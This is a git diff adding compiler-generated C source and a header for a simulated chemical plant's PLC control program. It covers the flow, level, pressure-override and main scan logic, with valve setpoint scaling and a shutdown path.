(REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + 